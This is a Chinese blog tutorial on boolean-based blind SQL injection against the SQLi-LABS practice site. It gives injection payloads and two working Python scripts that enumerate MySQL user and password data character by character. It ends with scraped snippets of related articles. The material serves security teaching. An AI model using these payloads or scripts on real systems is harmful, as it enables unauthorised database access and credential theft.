布尔盲注怎么用,一看你就明白了。布尔盲注原理+步骤+实战教程

article/2025/9/13 16:40:50

「作者主页」:士别三日wyx
「作者简介」:CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者
「专栏简介」:此文章已录入专栏《网络安全快速入门》

布尔盲注

  • 一、适用环境
  • 二、盲注步骤
  • 三、原理分析
    • 1. 长度判断原理
    • 2. 穷举字符原理
  • 四、步骤总结
    • 1. 判断注入点
    • 2. 判断长度
    • 3. 枚举字符
  • 五、盲注脚本

一、适用环境

页面只有登录成功和登录失败这两种情况时,可以使用布尔盲注。

二、盲注步骤

布尔盲注使用时分为两个步骤:

  1. 使用 length()函数 判断查询结果的长度
  2. 使用 substr()函数 截取每一个字符,并穷举出字符内容

三、原理分析

接下来,我们以测试网站(SQLi LABS 第5关)为例,解释一下这两个步骤的详细使用方式和注入的原理。

1. 长度判断原理

首先,利用MySQL的 length()函数 判断返回结果的长度是多少。

比如,我们判断 database()当前数据库 的长度,在地址栏输入:

?id=1' and length( database() )=1 -- a

执行流程如下:
在这里插入图片描述
页面异常(空)显示,表示猜解长度有误;

页面正常显示,表示猜解长度正确;

依次猜测1,2,3……n,直至长度猜解正确(页面正常显示)。
在这里插入图片描述
如上,测试长度1~7一直异常(空)显示,测试长度8时变为正常显示,就意味着查询结果的长度是8.

2. 穷举字符原理

查询结果由一个个字符组成,每一个字符有95种可能性(大小写字母、数字、特殊符号),对应的ASCLL编码是32~126。

推荐文章:ASCLL编码详解,ASCLL编码对照表

使用MySQL的 substr()函数 截取查询结果的第一个字符,使用 ascii()函数 将截取的字符转换成 ASCLL编码,依次判断是否等于32,33,34……126。

页面异常(空)显示,表示猜解失误;

页面正常显示,表示猜解正确;

猜解流程如下:
在这里插入图片描述
ASCLL编码 115 对应的字符是 ‘s’,确定第一个字符是:s

上一步已经确定了长度是 8,依次截取第 1~8个字符,并依次判断每个字符的内容。
在这里插入图片描述

四、步骤总结

适用情况:页面没有显示位,没有报错信息,只有成功和不成功两种情况。

1. 判断注入点

同时满足以下两种情况:

?id=1' and 1 -- a	正常显示
?id=1' and 0 -- a	异常(空)显示

2. 判断长度

?id=1' and length( 查询语句 )=1 -- a	

3. 枚举字符

?id=1 and ascii(substr( 查询语句 ,1,1))=32 -- a

五、盲注脚本

手工盲注的时间复杂度非常大,通常会使用脚本盲注。

get请求盲注脚本:

import requests# 只需要修改url 和 两个payload即可
# 目标网址(不带参数)
url = "http://3534c6c2bffd4225bf3409ae9a2ec278.app.mituan.zone/Less-5/"
# 猜解长度使用的payload
payload_len = """?id=1' and length((select group_concat(user,password)from mysql.user)) < {n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and ascii(substr((select group_concat(user,password)from mysql.user),{n},1)) = {r} -- a"""# 获取长度
def getLength(url, payload):length = 1  # 初始测试长度为1while True:response = requests.get(url= url+payload_len.format(n= length))# 页面中出现此内容则表示成功if 'You are in...........' in response.text:print('测试长度完成,长度为:', length,)return length;else:print('正在测试长度:',length)length += 1  # 测试长度递增# 获取字符
def getStr(url, payload, length):str = ''  # 初始表名/库名为空# 第一层循环,截取每一个字符for l in range(1, length+1):# 第二层循环,枚举截取字符的每一种可能性for n in range(33, 126):response = requests.get(url= url+payload_str.format(n= l, r= n))# 页面中出现此内容则表示成功if 'You are in...........' in response.text:str+= chr(n)print('第', l, '个字符猜解成功:', str)break;return str;# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

post请求盲注脚本:

import requests# 网站路径
url = "http://7eb82265178a435aa86d6728e7b1e08a.app.mituan.zone/Less-13/"
# 判断长度的payload
payload_len = """a') or length((select group_concat(user,password) from mysql.user))>{n} -- a"""
# 枚举字符的payload
payload_str = """a') or ascii(substr((select group_concat(user,password)from mysql.user),{l},1))={n} -- a"""# post请求参数
data= {"uname" : "a') or 1 -- a","passwd" : "1","submit" : "Submit"
}# 判断长度
def getLen(payload_len):length = 1while True:# 修改请求参数data["uname"] = payload_len.format(n = length)response = requests.post(url=url, data=data)# 出现此内容为登录成功if '../images/flag.jpg' in response.text:print('正在测试长度:', length)length += 1else:print('测试成功,长度为:', length)return length;# 枚举字符
def getStr(length):str = ''# 从第一个字符开始截取for l in range(1, length+1):# 枚举字符的每一种可能性for n in range(32, 126):data["uname"] = payload_str.format(l=l, n=n)response = requests.post(url=url, data=data)if '../images/flag.jpg' in response.text:str += chr(n)print('第', l, '个字符枚举成功:',str )breaklength = getLen(payload_len)
getStr(length)

感谢你的点赞、收藏、评论,我是三日,祝你幸福。


http://chatgpt.dhexx.cn/article/GuI6yWfN.shtml

相关文章

SQL盲注(原理概述、分类)

盲注原理 盲注的分类 盲注常用函数 一、SQL盲注概述 盲注&#xff1a;即在SQL注入过程中&#xff0c;SQL语句执行查询后&#xff0c;查询数据不能回显到前端页面中&#xff0c;我们需要使用一些特殊的方式来判断或尝试&#xff0c;这个过程成为盲注 1.如果数据库运行返回结…

盲注

目录 1、注入攻击的本质 2、盲注的介绍 &#xff08;一&#xff09;布尔盲注 &#xff08;二&#xff09;时间盲注 3、盲注常用方法 &#xff08;一&#xff09;length&#xff08;&#xff09;函数 &#xff08;二&#xff09;substr&#xff08;&#xff09;截取字符串…

SQL注入-盲注(布尔盲注与时间盲注)

目录 一、什么是盲注 二、盲注的分类 三、利用盲注的前提条件 四、盲注的优缺点 五、基于布尔类型的盲注 1.什么情况下使用布尔类型的盲注 2.使用布尔类型盲注的操作步骤&#xff1a; 3.布尔类型盲注的操作过程&#xff08;以获取当前数据库为例&#xff09; 4.使用其他…

详述ROWID的原理及其使用

ROWID基础概念 在Oracle内部&#xff0c;每个数据表都有一个伪列ROWID&#xff0c;用于存放被称为ROWID的二进制值。每个ROWID代表了一行数据的存储地址。物理ROWID能够标识普通数据表中的一行信息。其中ROWID类型只能存储物理内容&#xff0c;而UROWID(universal rowid)类型可…

Oracle中ROWNUM伪列和ROWID伪列的用法与区别

做过Oracle分页的人都知道由于Oracle中没有像MySql中limit函数以及SQLServer中的top关键字等&#xff0c;所以只能通过伪列的方式去满足分页功能&#xff0c;在此&#xff0c;不谈分页方法&#xff0c;只从根本上去介绍这两个伪列的用法与原理&#xff0c;同样还是以scott用户的…

Silverlight MMORPG WebGame游戏设计(二)--通讯协议之惑

晚上看到我在silverlight webGame上的导师"深蓝色右手"拿到 荣誉&#xff0c;觉得他名至实归。回想自己2010过年来到北京忙于一些琐屑的事情&#xff0c;好久没有动手写我的web传奇了。 去年在群里说我过年要开源我的Web传奇&#xff0c;写一些服务端的文章。后来我发…

amf webgame

一篇来自职业欠钱哥哥的东西&#xff0c;很有帮助。 这两年WebGame比较火&#xff0c;WebGame中&#xff0c;前端用Flash表现比较多&#xff0c;而服务器端依然是Web应用。 不少产品已经开始用AMF&#xff08;Action Message Format&#xff09;来取代标准的HTTP交互。&#xf…

webgame《天龙诀》完整网页游戏源码

webgame 天龙诀源码&#xff0c;网页端使用了Flash游戏引擎&#xff0c;服务端c开发&#xff0c;解压后488mb&#xff0c;仅供学习参考&#xff0c;请勿用于商业用途。 天龙诀剧情情节扣人心弦&#xff0c;让各位玩家身临其境&#xff0c;化身门派高手经历艰难险阻、感受受生死…

[转]用python来开发webgame服务端(4)

[刺鸟原创文章&#xff0c;转载请注明出处] 前面的工作都已准备就绪&#xff0c;现在我们得来看看服务端怎么和客户端之间进行通信了&#xff0c;Python和FLASH之间的通信&#xff0c;我整理为以下3种&#xff1a; 1、用现成的协议及类库处理&#xff0c;比如&#xff1a;py…

[转]用python来开发webgame服务端(2)

[刺鸟原创文章&#xff0c;转载请注明出处] 就在刚才&#xff0c;我们用基于python下的Twisted库写了一个简单的socket服务器&#xff0c;不知道它的性能和基本的承载到底如何呢&#xff1f;接下来&#xff0c;我们作一个简单的测试。 说是简单的测试&#xff0c;一点也不假…

转:: 刺鸟:用python来开发webgame服务端(1)

来源&#xff1a;http://ciniao.me/article.php?id9 --------------- 刺鸟原创文章&#xff0c;转载请注明出处 在开始之前&#xff0c;先简单描述一下项目的特点&#xff1a;我要实现的是一个mmorpg的webgame&#xff0c;地图上需要看到其他的玩家&#xff0c;战斗系统采用…

转:: 刺鸟:用python来开发webgame服务端(4)

来源&#xff1a;http://ciniao.me/article.php?id14 --------------- 刺鸟原创文章&#xff0c;转载请注明出处 前面的工作都已准备就绪&#xff0c;现在我们得来看看服务端怎么和客户端之间进行通信了&#xff0c;Python和FLASH之间的通信&#xff0c;我整理为以下3种&am…

[转]用python来开发webgame服务端(3)

[刺鸟原创文章&#xff0c;转载请注明出处] 在之前的准备工作中&#xff0c;我们已经建立了一个socket服务器&#xff0c;并且经过了简单的测试&#xff0c;得到的结论是python可以满足我们的需求&#xff0c;那么接下来&#xff0c;我们要解决的是身为webgame服务端必须的几个…

转:: 刺鸟:用python来开发webgame服务端(2)

来源&#xff1a;http://ciniao.me/article.php?id10 --------------- 刺鸟原创文章&#xff0c;转载请注明出处 就在刚才&#xff0c;我们用基于python下的Twisted库写了一个简单的socket服务器&#xff0c;不知道它的性能和基本的承载到底如何呢&#xff1f;接下来&#…

转:: 刺鸟:用python来开发webgame服务端(3)

来源&#xff1a;http://ciniao.me/article.php?id11 --------------- 刺鸟原创文章&#xff0c;转载请注明出处 在之前的准备工作中&#xff0c;我们已经建立了一个socket服务器&#xff0c;并且经过了简单的测试&#xff0c;得到的结论是python可以满足我们的需求&#x…

用python来开发webgame服务端(4)

http://ciniao.me/article.php?id14 前面的工作都已准备就绪&#xff0c;现在我们得来看看服务端怎么和客户端之间进行通信了&#xff0c;Python和FLASH之间的通信&#xff0c;我整理为以下3种&#xff1a; 1、用现成的协议及类库处理&#xff0c;比如&#xff1a;pyamf …

用python来开发webgame服务端(2)

http://ciniao.me/article.php?id10 刺鸟原创文章&#xff0c;转载请注明出处 就在刚才&#xff0c;我们用基于python下的Twisted库写了一个简单的socket服务器&#xff0c;不知道它的性能和基本的承载到底如何呢&#xff1f;接下来&#xff0c;我们作一个简单的测试。 …

用python来开发webgame服务端(3)

刺鸟原创文章&#xff0c;转载请注明出处 在之前的准备工作中&#xff0c;我们已经 建立了一个socket服务器 &#xff0c;并且经过了 简单的测试 &#xff0c;得到的结论是python可以满足我们的需求&#xff0c;那么接下来&#xff0c;我们要解决的是身为webgame服务端必须…

用python来开发webgame服务端

刺鸟原创文章&#xff0c;转载请注明出处 在开始之前&#xff0c;先简单描述一下项目的特点&#xff1a;我要实现的是一个mmorpg的webgame&#xff0c;地图上需要看到其他的玩家&#xff0c;战斗系统采用半回合制的模式&#xff0c;所谓的半回合制&#xff0c;即是&#xff1a;…

用python来开发webgame服务端(1)

http://ciniao.me/article.php?id9 刺鸟原创文章&#xff0c;转载请注明出处 在开始之前&#xff0c;先简单描述一下项目的特点&#xff1a;我要实现的是一个mmorpg的webgame&#xff0c;地图上需要看到其他的玩家&#xff0c;战斗系统采用半回合制的模式&#xff0c;所谓…